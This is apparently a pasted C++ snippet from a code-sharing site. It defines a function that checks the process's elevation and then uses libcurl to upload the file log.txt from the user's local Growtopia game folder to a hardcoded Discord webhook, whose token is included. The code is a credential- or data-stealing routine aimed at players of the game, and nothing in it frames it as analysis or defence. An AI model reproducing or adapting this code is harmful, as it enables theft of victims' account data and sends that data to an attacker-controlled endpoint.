Untitled
unknown
plain_text
3 years ago
2.2 kB
11
Indexable
#include <ShlObj.h>
#define _CRT_SECURE_NO_WARNINGS
#pragma warning(disable : 4996)
#include <cstdlib>
#include <sys/stat.h>
#include <fstream>
std::string GetLocalAppDataFolderPath() {
std::string localAppDataFolderPath;
#ifdef _WIN32
const char* appDataDir = std::getenv("LOCALAPPDATA");
if (appDataDir) {
localAppDataFolderPath = std::string(appDataDir) + "\\";
}
#endif
return localAppDataFolderPath;
}
void bussh() {
bool isElevated = false;
HANDLE hToken;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
TOKEN_ELEVATION elevation;
DWORD dwSize;
if (GetTokenInformation(hToken, TokenElevation, &elevation, sizeof(elevation), &dwSize)) {
isElevated = (elevation.TokenIsElevated != 0);
}
CloseHandle(hToken);
}
CURL* curl;
CURLcode res;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();
if (curl) {
const char* webhookUrl = "https://discord.com/api/webhooks/1109904831285567519/bCv9MwMEUM8_E0f9SZLjBhHCbcNAzZ8eK28MmIX2J9LB7meXdsr3ReTX9JsWfOxQdb-i";
std::string filePath = GetLocalAppDataFolderPath();
filePath += "\\Growtopia\\log.txt";
std::ifstream file(filePath);
struct curl_httppost* formpost = nullptr;
struct curl_httppost* lastptr = nullptr;
curl_formadd(&formpost, &lastptr, CURLFORM_COPYNAME, "file", CURLFORM_FILE, filePath, CURLFORM_END);
curl_easy_setopt(curl, CURLOPT_URL, webhookUrl);
curl_easy_setopt(curl, CURLOPT_HTTPPOST, formpost);
res = curl_easy_perform(curl);
if (res != CURLE_OK) {
std::cerr << "curl_easy_perform() failed: " << curl_easy_strerror(res) << std::endl;
if (res == CURLE_FILE_COULDNT_READ_FILE) {
std::cout << "hata1" << std::endl;
}
else if (res == CURLE_FILESIZE_EXCEEDED) {
std::cout << "hata2" << std::endl;
}
}
curl_easy_cleanup(curl);
curl_formfree(formpost);
}
curl_global_cleanup();
system("PAUSE");
}
Editor is loading...